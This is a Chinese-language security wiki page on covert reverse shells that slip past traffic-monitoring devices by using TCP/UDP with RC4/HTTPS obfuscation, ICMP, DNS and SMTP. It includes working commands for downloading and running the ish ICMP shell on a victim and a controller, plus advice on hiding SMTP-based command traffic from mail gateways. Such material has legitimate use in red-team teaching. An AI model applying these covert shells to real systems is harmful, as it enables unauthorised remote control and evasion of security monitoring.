004-reverse_shell

## reverse_shell

这里说的反弹shell不是上面开头那里说的利用内部软件进行反弹,而是利用一些非常规协议来绕过一些安全设备的流量监测功能。

**tcp/udp shell**

tcp/udp的shell可以使用msf生成的tcp马、流量混淆推荐rc4和https偏执模式,也能够绕过一些防火墙。

**icmp shell**

使用ICMP来作为隐蔽通道的原理是:有一个服务端和一个客户端,当它们通信时会用到 ICMPECHO 和 ICMPECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。

![](/static/lingzu/images/security_wiki/15905816068023.png)

这里用python写了一个嗅探功能的小脚本 因为icmp是没有端口概念的,也就无法直接建立两台主机上ICMP应用程序的通信。所以程序需要从嗅探到的icmp包中再传给应用层,然后再执行其他的。

![](/static/lingzu/images/security_wiki/15905816207249.png)

这里使用ish演示

“`bash
wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz

“`

被控端

“`bash
./ishd -i 6666 -t 0 -p 1024 -d

“`

控制端

“`bash
./ish -i 6666 -t 0 -p 1024 127.0.0.1

“`

![](/static/lingzu/images/security_wiki/15905816340599.png)

这样利用icmp传输可以绕过大部分的设备。

**DNS/smtp shell**

这里提一下DNS和smtp服务。之前做的分享中有关于SMTP协议传输shell的思路,其实是利用smtp协议可以出网的思路,写一个smtp的客户端和服务端对应发送和接受执行内容,传输为了方便演示使用的是明文,为了增加迷惑性,添加删除邮件功能,需要提高的就是可以对传输的文本内容进行混淆加密之类的,防止安全邮件网关根据关键字拦截邮件。DNS这个的话就是通过解析记录的内容来进行命令的执行,还可以配合dnslog来使用。

![b062b0d2b24a485ea712cb9e6b563ea5](/static/lingzu/images/security_wiki/b062b0d2b24a485ea712cb9e6b563ea5.gif)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容